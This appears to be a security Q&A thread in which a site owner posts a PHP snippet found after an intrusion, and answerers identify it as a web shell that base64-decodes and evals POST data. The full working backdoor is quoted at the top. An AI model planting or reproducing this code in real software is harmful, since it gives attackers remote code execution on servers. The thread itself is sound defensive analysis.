1

I don't know if it's considered or not to include a single piece of code that might be malicious. But recently my site was a victim of some URL injection. I was wondering if anyone can tell me what this piece of code does:

<?php 
    $mujj = $_POST['x']; 
    if ($mujj!="") { 
       $xsser=base64_decode($_POST['z0']); 
        @eval("\$safedg = $xsser;"); 
    } ?>
<?php
Improve this question

2 Answers 2

Reset to default
1

I searched further about your issue and I found that an attacker used an opensource webshell application to execute shell on your server in a variety of common scripting languages such as ASP,ASPX,PHP,JSP,PL and Python.

A quick study of that script lead me to know that:

$mujj = $_POST['x']; 
    if ($mujj!="") {

This checks the password (password to something) carried in the variable x is not empty (which thing you can translate by: when the user logs in)

$xsser=base64_decode($_POST['z0']);

Decode the content of the z0 variable and save it in $xsser. Actually z0 refers to a file (you are likely to allow file upload on your web application? or may be this malicious application allows file upload -which thing is logic too-?)

@eval("\$safedg = $xsser;");

The content saved in $xsser is then executed (dangerous operation) on your server.

Improve this answer
6
  • 1
    Thank you very much. Is there anyway for me to find the content of xsser? Assuming its on the server
    – Sarge
    Commented Aug 24, 2015 at 14:23
  • 1
    @Sarge I have been thinking about sniffing the packets to see if you can find the source (IP address) of the machine that attacks by uploading such files and set a firewall to block it? You can give it a try in the case the attacker is rather a kid if you know what I mean. You can also check either manually or programmatically the content of your directories to see how many files are uploaded ... but if you have something sensible on your web application then you need quickly to fix that, may be you can ask that in a separate question, these comments have a limit
    – user45139
    Commented Aug 24, 2015 at 14:31
  • Thank you for your help. The web app itself was shutdown completely and is in process of migrating to a new box just in case with clean set of data from a original copy.
    – Sarge
    Commented Aug 24, 2015 at 14:35
  • 1
    I mean instead of trying to analyse the malicious activities (what are the shell commands executed and what they perform), you need rather, in case your web application store private data and so on (users?), to do the necessary to stop that
    – user45139
    Commented Aug 24, 2015 at 14:35
  • 1
    that is good if you shut it down completely, especially if you manage users on your application (private data). If you are too curious, you may read both the source code of that malicious application and the content of your website and run them in a virtual machine for analysis... if you have time @Sarge
    – user45139
    Commented Aug 24, 2015 at 14:37
1

It's a PHP shell that reads and evaluates (runs) PHP commands sent to the shell via base64-encoded HTTP-POST messages.

It needs some value for x to pass the check, and then the b64-encoded PHP commands sent through the z0 value.

Improve this answer
3
  • What would be the hackers benefit of doing that beside Sending http encrypted post commands to the server? Could this be referencing anything else?
    – Sarge
    Commented Aug 24, 2015 at 12:49
  • For this to work they would have to have uploaded this file (somehow) into your application, so that when accessing this shell from your application, they can utilize this to run arbitrary code on your server. However, I have no idea if they have succeeded including this shell on your server so this might be scary, or more likely not. Attempts to upload shells like these are common by robots attempting every IPv4 address looking for a vulnerable host.
    – efr4k
    Commented Aug 24, 2015 at 12:55
  • File upload did succeed and i audited every file and removed that piece of code. I found a folder with garbage html files almost looks like SEO improvement for diff site for point purposes. I am in process of shutting down the server and start fresh. Is there any document you can point me to with ways to prevent this in the future.
    – Sarge
    Commented Aug 24, 2015 at 13:29

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .